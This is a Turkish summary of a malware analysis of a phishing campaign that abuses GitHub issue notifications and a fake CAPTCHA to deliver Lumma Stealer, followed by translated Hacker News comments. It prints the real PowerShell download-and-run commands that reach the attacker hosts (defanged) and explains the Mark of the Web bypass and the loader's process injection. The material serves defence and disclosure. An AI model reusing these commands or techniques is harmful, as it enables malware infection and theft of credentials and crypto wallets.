- Saldırganlar, herkese açık bir deponun normal bildirim akışını kullanarak depo sahibine GitHub’ın gerçekten göndermiş olduğu bir e-posta gibi görünen zararlı bir mesaj iletti
- E-posta gövdesinin büyük bölümünü saldırgan oluşturabildiği için, yalnızca göndereni ve bağlantıları kontrol ederek phishing olup olmadığını anlamak zor
- Bağlantıya tıklandığında sahte bir CAPTCHA sayfası açılıyor ve kullanıcı Windows Çalıştır penceresine bir PowerShell komutu yapıştırmaya yönlendirilerek zararlı yazılım indirmesi başlatılıyor
- Dosya, PowerShell’in .NET
System.Net.WebClient.DownloadFile yöntemiyle indirildiği için Mark of the Web eklenmiyor; bu da Windows imza uyarısını atlatabiliyor
- Nihai payload, VirusTotal’da birden fazla antivirüs tarafından LUMMASTEALER olarak tespit edilen zararlı yazılımla ilişkilendiriliyor; bu da kimlik bilgileri, kripto para cüzdanları ve hassas verileri hedefleyen stealer türünde bir zararlı yazılım
GitHub bildirim e-postalarını kullanan saldırı akışı
- Herkese açık depo sahipleri, GitHub’dan issue, yorum ve Pull Request gibi etkinliklere ilişkin bildirim e-postalarını sıkça alır
- Saldırganlar bu normal bildirim sistemini şu sırayla kötüye kullanıyor
- Tek kullanımlık bir GitHub hesabıyla herkese açık depoda bir issue oluşturuyor
- Issue’yu hızlıca siliyor
- Depo sahibi GitHub’dan gönderilen bildirim e-postasını alıyor
- Alıcı e-postadaki bağlantıya tıkladığında zararlı siteye yönlendiriliyor
- Talimatları izlerse sistemine zararlı yazılım bulaşıyor
- Gerçek e-posta gövdesinde bir güvenlik açığı bulunduğu ve daha fazla bilgi için
github-scanner[.]com adresinin kontrol edilmesi gerektiği yazıyordu; “Github Security Team” taklit ediliyordu
E-postanın inandırıcı görünmesinin nedeni
- E-posta GitHub’ın gerçekten gönderdiği bir bildirim olduğu için olağan phishing kontrollerinin önemli bir kısmından geçiyor
- E-postanın göndereni GitHub
- Gövdedeki bağlantı, gösterilen hedefe gidiyor
- Saldırganın kontrol etmediği e-posta alanlarına bakarak gerçek durumu anlamak zor
- E-posta içinde yeni bir issue oluşturulduğu yeterince açık görünmüyor
- Saldırgan, gövde metniyle istediği bağlamı oluşturabiliyor
- GitHub bildirim e-postaları, saldırının etkisini azaltmak için şunları iyileştirebilir
- E-postanın hangi eylem nedeniyle gönderildiğine dair daha fazla bağlam sağlama
- Saldırganın kontrol ettiği içerik oranını azaltma
- E-posta göndericisine ilişkin netliği artırma
- Söz konusu e-posta ve endişeler gerçek GitHub Security ekibine iletildi
Sahte CAPTCHA ve PowerShell çalıştırma
- E-posta bağlantısı takip edildiğinde CAPTCHA gibi görünen bir sayfa gösteriliyor
- CAPTCHA ile insan olduğunu kanıtlama isteği, Cloudflare gibi servislerin otomatik doğrulamaları nedeniyle kullanıcılara yabancı gelmeyebilir
- Bu sayfa, olağan görsel seçme CAPTCHA’sı değil; Windows Çalıştır penceresini açıp bir komut yapıştırmayı istiyor
- Panoya alınan 1. aşama komutu, gizli bir PowerShell penceresi açıp uzak bir betiği indirerek çalıştırıyor
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex, Invoke-Expression; iwr ise Invoke-WebRequest için kullanılan takma adlardır- Linux’ta
curl | bash çalıştırmaya benzer şekilde davranır
- Komutun sonundaki yorum, Windows Çalıştır penceresinin boyut sınırı nedeniyle baş tarafı gizler ve kullanıcıya CAPTCHA doğrulama metni gibi görünmesini sağlar
2. aşama indirme ve Windows uyarısını atlatma
- İndirilen betik
github-scanner[.]com/l6E.exe dosyasını indirip geçici klasöre SysSetup.exe olarak kaydeder ve çalıştırır
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- Çalıştırılabilir dosyada dijital imza vardı, ancak zararlı ikilinin imzası geçerli değildi
- İmza Spotify’dan gelmiş gibi görünüyordu; ancak DigiCert ile yapılan görüşmenin ardından bunun çalıntı sertifika değil, spoof edilmiş bir imza olduğu sonucuna varıldı
- Windows, internetten indirilen dosya olup olmadığını Mark of the Web (MOTW) bayrağıyla değerlendirir
- Tarayıcılar gibi uygulamalar indirilen dosyalara bu bayrağı ekleyebilir
- Office gibi yazılımlar bu bayrağa bakarak davranışını değiştirebilir
- Aynı çalıştırılabilir dosya tarayıcıyla indirildiğinde Windows geçersiz imza uyarısı gösterir
- Kurban akışında dosyayı tarayıcı değil, PowerShell’in .NET Framework
System.Net.WebClient.DownloadFile yöntemi indirir
- Bu yöntem indirilen dosyaya MOTW bayrağı eklemez
- Windows yalnızca MOTW eklenmişse geçersiz dijital imzayla çalıştırma uyarısı gösterir
- MOTW kolayca kaldırılabildiği için bu bayrağa dayanan yaklaşım güvenli değildir
- İlgili iki Windows zayıflığı Microsoft’a bildirildi
Loader analizi ve nihai payload
- Çalıştırılabilir dosyada Ghidra’da .NET ile ilgili izler görüldüğü için dotPeek ile analiz edildi
- Temel akış giriş noktasında ve
PersonalActivation metodunda bulunuyor
- Giriş noktası konsol penceresini gizliyor
- Arka plan thread’inde
PersonalActivation iki kez çağrılıyor
VirtualProtect ile bellek alanı çalıştırılabilir olarak işaretleniyorCallWindowProcW ile çalıştırılıyor
PersonalActivation, kullanılmayan bir liste ve iki bayt dizisi alıyor
- İlk dizi veri buffer’ı gibi görünüyor
- İkinci dizi
key olarak işaretlenmiş
- Çok sayıda matematiksel işlem yaptığı için bir tür decrypt rutini gibi görünüyor
VirtualProtect ve CallWindowProcW çağrıları yorum satırına alınıp debugger’da decrypt edilmiş buffer incelendi
- İlk buffer’da
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread gibi öğeler yer alıyordu
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe yolu da göründü- İkinci buffer,
MZ ve PE başlıklarına sahip bir Windows çalıştırılabilir dosyası biçimindeydi
- Loader, üstteki büyük bayt dizisinin içindeki “şifrelenmiş” exe’yi belleğe alıp çalıştırılabilir hale getirdikten sonra çalıştırıyor
Lumma Stealer tespiti ve kullanılan araçlar
- Nihai aşama .NET olmayan bir Windows exe’ydi; yalnızca Ghidra çıktısıyla daha fazla analiz sınırlı kaldı
- İki binary de VirusTotal’da halihazırda birden fazla antivirüs tarafından tespit edilmiş durumdaydı
- Tespit adlarında ortak olarak LUMMASTEALER kalıbı görülüyor
- Lumma, “malware as a service” biçimindeki zararlı yazılım operasyonlarından biridir
- Stealer kodu kripto para cüzdanlarını, kayıtlı kimlik bilgilerini ve hassas verileri arar
- Toplanan veriler komuta-kontrol (C2) sunucusuna gönderilir
- Sonrasında para hırsızlığına veya veri satışına yol açabilir
- Lumma zararlı yazılımı, geleneksel ransomware gibi kurbanın cihazını şifreleme eğiliminde değildir
- Lumma hakkında ek kaynak olarak Cyfirma’nın Lumma Stealer taktikleri, etkileri ve savunma stratejileri yazısı öneriliyor
- Analizde kullanılan araçlar Windows Sandbox, Ghidra, dotPeek, HxD ve Visual Studio’dur
1 yorum
Hacker News görüşleri
İnsanlar gerçekten böyle dolandırıcılıklara kanıyor mu diye düşündürüyor
Öncelikle, yalnızca ekran görüntüsüne bakarak net konuşmak zor ama yazarın e-postanın GitHub’dan geldiğini bildiğini varsayarsak, ilk tehlike işareti bağlantının gerçek alan adının bir türevi olan github-scanner.com’a gitmesi
github-scanner.com’un kime ait olduğunu bilmiyorsanız, sadece kulağa makul ve gerçek bir site gibi görünüyor diye bunun dolandırıcılık olduğunu varsaymak daha güvenli
Kocaman bir tehlike işareti de güvenlik uyarısının sizden shell’e komut girmenizi istemesi; bunu çalıştırmak için ne kadar saf olmak gerekir, artık söylenecek pek bir şey yok
Kimse kusursuz değil ve güven veren unsur sayısı arttıkça dönüşüm oranının da yükselmesi muhtemel
Görüşünüz zayıfsa, zaman baskısı altındaysanız ya da yorgun ve bitkinseniz, normalde kandırılması zor biri bile daha kolay kandırılabilir
Büyük ölçekli otomasyon mümkünse, düşük dönüşüm oranı bile çok sayıda hesabın ele geçirilmesine yol açar
SSH anahtarı ayarlamaktan çok da farklı görünmüyor ve yeni kullanıcılar gerçekten GitHub’ın gönderdiği komutları kopyalayıp yapıştırdıkları bir akıştan geçiyor
Büyük ihtimalle zararlı yazılımdı; ben de yorumları hemen silip hesapları GitHub’a bildirdim
Ben böyle bariz bir numaraya kanmazdım ama ilk soruyu soran kişi GitHub etkinlik geçmişi ve sorusunun niteliğine bakılırsa teknik biri gibi görünmüyordu
Eleştirel bakmadan ne varsa hızlıca denemeye meyilli bir durumdaysa kanması mümkün görünüyordu
Citi ve PayPal da bazı e-postalarda bunu yapıyor, bu da her seferinde can sıkıyor
Geçen ay bir konferansta bir siber güvenlik şirketinin CEO’su açılış konuşması yaptı; bazı durumlarda kullanıcıların hâlâ %80’den fazlasının e-posta dolandırıcılığına kandığını, bu yüzden daha fazla para gerektiğini anlattı
Konuşmacıya ciddi ciddi şunu sordum: Milyonlarca dolar ve neredeyse 25 yıl harcamamıza rağmen kullanıcıların %80’inden fazlası hâlâ yanlış bağlantılara tıklıyorsa, bir şeyi temelden yanlış yapıyor olmamız gerekmez mi?
Yakın zamanda PayPal’dan çok daha inandırıcı bir e-posta aldım
Biri bana bir teklif göndermişti; sanırım bu, talep olmadan da kullanılabilen bir özellik ve şirket adını “PayPal son $499.00 ödeme işlemiyle ilgili size ulaşmalı, +1-... numarasını arayın” gibi bir şey yapmıştı
Böylece PayPal teklif e-postasındaki “size $xxx tutarında bir teklif gönderdi” ifadesi nedeniyle bu şirket adı üst metnin büyük bölümünü kaplıyordu
Bu e-posta gerçekten PayPal.com üzerinden gelmişti ve bir ödeme işleme şirketinin bu tür kullanıcı adı sorunlarını hâlâ engelleyememesini anlamıyorum
Bildirdim ama yanıt gelmedi; sadece o hesap değil, bu tür adların tamamı yasaklanmalı
Biçimi de gerçekten meşru bir PayPal e-postası gibi görünüyordu; sıradan insanların bu dolandırıcılığa sıkça kanacağını düşünüyorum
E-postayı görmek isterseniz profilimdeki web sitesi üzerinden bana ulaşabilirsiniz
PayPal’a giriş yaptığımda web sitesinde hiçbir şey görünmüyordu
Bir şeye ihtiyaçları varsa doğrudan aramalılar, e-postaya yazmalılar ya da portalda göstermeliler
Bunun güvenlik gerekçeleri de var ama HTML ile beş dakika uğraşmış biri bile “gerçek gibi görünen” bir e-posta hazırlayabilir
Win+R, CTRL+V
Güvenlik doğrulaması bir tuzağa dönüşüyor.
Junior geliştirici iseniz kanmanız mümkün görünüyor. “GitHub olduğuna göre meşrudur herhalde? Kullandığımız kütüphaneler için güvenlik uyarıları da iki ayda bir geliyor ya” gibi bir düşünce oluşabilir.
“Vay, kod çalıştırarak çözülen bir güvenlik doğrulaması, ilginçmiş!” diye de düşünülebilir.
Bir web sayfasının tek tıklamayla panoyu doldurmasına izin verilmemeli; içeriğin önizlemesi gerekli bence.
Kullanıcının tıklama gibi bir eylem yapmasını istemenin bunu çözeceği düşünülmüş olabilir ama bu hâlâ fazla zayıf ve bu birinci sorun.
İnsanların e-postadaki bağlantıları doğrudan çalıştırmayı ya da e-posta içeriğinin meşru olduğuna inanmayı bırakması gerekiyor. E-posta içeriğinin kendisi meşruiyet taşımaz; bu da ikinci sorun.
Üçüncü olarak, Windows hâlâ PowerShell tek satırıyla bir makinenin root yetkisi seviyesinde ele geçirilmesine izin mi veriyor?
GitHub da otomatik bir hizmet olarak, uzaktan meşru içerik olup olmadığını doğrulamadan issue içine bağlantı eklenmesini engellemek zorunda olabilir.
Bunu insanların e-postalarına gönderirken bunun phishing için kullanılabileceğini bilmiyormuş gibi davranmamak lazım. Bu, 2015 ölçütleriyle bile siber güvenlik 101 düzeyinde bir konu.
Son olarak, GitHub yukarıdaki önlemleri alamıyorsa insanlara gönderdiği e-postaları daha da azaltıp bankalar gibi sadece “bu depoda yeni bir issue var...” seviyesinde bildirim göndermeli.
O zaman kullanıcı içeri girip mesajı görmezdi ve konu orada biterdi. GitHub’ın burada biraz daha olgunlaşması gerekiyor gibi görünüyor.
İnsanlara neyin zararlı olduğu konusunda düzgün eğitim verilmesi gerektiğini düşünüyorum.
Windows konusunda ise, çalışanlardan en az iki kişi Windows’tan çıkmak istediklerini söyledi. Elimizden geleni yapacağız; uzun sürecek bir proje ama sonunda başaracağız.
“Çalıştır” penceresinin ekran görüntüsündeki kalkan simgesi, bunun yönetici yetkili bir kullanıcı olduğunu ve UAC’nin kapalı olduğunu açıkça gösteriyor.
O zaman Linux’un da
curl malware.zyx/evilscript | bashtek satırıyla root yetkisini kaptırmasına ağlamamız gerekir.Pano stratejisi de engellenmesi kolay olmalı gibi görünüyor. Çoğu dolandırıcı yalnızca telefonda iyi kamufle edilmiş bir URL’yi Çalıştır kutusuna doğrudan yazdırmaya ikna ediyor.
Evet, ben 10x Windows kullanıcısıyım.
Windows’u “root” olarak kullanabilmemizin nedeni root olmamız; daha somut olarak da Windows kurulumunun ilk oluşturulan kullanıcı hesabını her zaman yönetici hesabı yapması.
Bu bir avantaj. Sahip olduğumuz ve kullandığımız bilgisayarda istediğimizi yapabiliyoruz.
İşletim sistemlerinin giderek kilitlenip kullanıcının bilgisayarı gerçekten sahiplenmesini ve yönetmesini engellediği bir çağda, Windows buna izin veriyor.
Lütfen bu asla değişmesin.
Özetle mesele, e-postadaki bağlantılara tıklamamak.
github-scanner.com ile github-scanner.shop hâlâ aynı kötü niyetli aktör mü? Öyle görünüyor.
DNS’in Cloudflare’da olması komik. Cloudflare ünlü şekilde “hiçbir şeyi host etmiyoruz” diyor ama sanırım hepimizi aptal yerine koyuyor.
Hiç sorumluluk almayan Cloudflare’a bu tür kötüye kullanımları bildirmek için de bir yol yok gibi görünüyor.
Zararlı yazılım barındıran 2x.si alan adı hem DNS için Cloudflare kullanıyor hem de Cloudflare üzerinde host ediliyor.
En azından bunu Cloudflare’a bildirebiliyorsunuz ama kötüye kullanım bildirim formunda insanlara rate limit uygulayıp bir de güvenlik doğrulaması istiyorlar.
İç çekmekten başka bir şey gelmiyor. Cloudflare sayesinde bugünlerde phishing ve zararlı yazılım barındırmak fazla kolaylaştı.
İkisiyle de uğraşmış biri olarak bunu söylüyorum.
O sayfada seçilecek kötüye kullanım türleri arasında Phishing & Malware bulunuyor.
Ciddi bir güvenlik yorumu olmaktan çok söylenmeye yakın ama, phishing testlerinde başarısızlık ölçütünün “e-postadaki herhangi bir bağlantıya tıklamak” olmasına hep gıcık olmuşumdur.
Asıl önemli olan phishing sitesine kimlik bilgisi girip girmediğiniz ya da dosya indirip açıp açmadığınız değil mi?
Teknik olmayan kullanıcılara kötü bağlantılara hiç tıklamamayı öğretmenin daha kolay olduğunu ve tarayıcı açıklarının da var olduğunu anlıyorum ama yine de bir yerde sinir bozucu.
Böyle yazılarda sonucun genelde kullanıcının kimlik bilgisi girmesi, tarayıcıya garip izinler vermesi, dosya indirmesi ya da bu örnekteki gibi komut çalıştırması olduğunu görüyorum.
“Bağlantıya tıkladı, tarayıcı 0-day patladı, olay bitti” şeklinde sonuçlanan bir örneği neredeyse hiç görmedim.
Web tarayıcıları geniş bir saldırı yüzeyine sahip ama aynı zamanda interneti dolaşmak için tasarlanmış araçlar.
İnsanların çoğu çalışırken ya da araştırma yaparken bağlantılara epey düşünmeden tıklıyor.
Katmanlı savunma gerekli ama “asla kötü amaçlı bir web sitesini ziyaret etme”yi temel güvenlik ilkesi yapmak epey kusurlu bir politika gibi duruyor.
En fazla Qubes OS kullanıp bağlantıları yalnızca tek kullanımlık bir sanal makinede açabilir, onun ötesinde de bilgi girmeyebilirsiniz.
Yeni hesap için e-posta adresi doğrulama postası aldığımda ben genelde böyle yapıyorum.
Bağlantılara tıklamaktan her zaman kaçınılamaz ki
“Saldırganın issue’yu hızla sildiği” kısmını görünce, daha önce hiç kendi açtığım bir issue’yu silmediğimi fark ettim
Ama bir issue’yu depodan silebilenler yalnızca yönetici yetkisine sahip kişiler değil mi? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
O halde gerçekte o issue’nun izi depoda kalmış olmalı; pull request için de aynı şey geçerli
E-postanın yeni bir issue ile ilgili olduğunu gösteren hiçbir şey olmadığı iddiası yanlış
Başlıktaki “(Issue #1)” tam olarak bunu ifade ediyor
Ben de gerçekten aynı e-postayı aldım ve depoda yeni bir issue oluşturulduğunu hemen anladım
Bu kullanıcının GitHub issue’larına alışık olmadığı, bunun deponun ilk issue’su olmasından da açıkça belli oluyor
Görünüşe göre GitHub’ın yeni kullanıcılara daha iyi yol göstermesi gerekiyor
Bu insanlar gerçekten çok kolay kandırılabiliyor
Teknik kişiler fark edebilir ama bu, GitHub’ın daha iyisini yapmak zorunda olmadığı anlamına gelmez
Bu sabah bu tür bildirimlerden birini aldım ve hemen görmezden geldim
Komik olan, hedefin doğrudan şu depo olmasıydı: https://github.com/kyledrake/theftcoinjs
Okunmaya değer bir yazı. Saldırganların ne yapmaya çalıştığını gösteriyor
Sadece bağlantıya bakarak şüphelenmek kolay ama birinin meseleyi derinlemesine inceleme sürecini görmek eğlenceli
Bu sabah GitHub deposuna bir bug girdim; bir dakikadan kısa süre sonra biri kabaca şöyle yanıt verdi
“Bunu deneyin. Sorunu çözecek gibi görünüyor. Derleyiciye ihtiyacınız varsa GCC yükleyin”
Ardından MediaFire’daki bir zip dosyasına yönlendiren bir Bitly bağlantısı ve parola vardı
GitHub, kötüye kullanım bildirimimi bir saat içinde işleme aldı ve o kullanıcının tüm gönderilerini kaldırdı
Vay canına, ben de buna benzer GitHub bildirim e-postaları alıyordum
Depoda bir güvenlik açığı tespit edildiği yazıyordu ama bu haberi görene kadar sahte olduğunu düşünmemiştim
Yine de tembel bir programcı olduğum için tıklamadım. Bir kez yazdıysam yazmışımdır; kodu yeniden yazarım ama kendi kodumda bug arayıp düzeltmem
Bu, GitHub’ın proje bağımlılıklarındaki güvenlik açıklarını bildiren bir özelliği
Örneğin Python kullanıyorsanız ve
requirements.txtiçinderequestskütüphanesini belirttiyseniz, GitHub bu kütüphanedeki kamuya açık güvenlik açıklarını size e-postayla bildirir ve düzeltilmiş daha üst bir sürüme yükseltmenizi önerir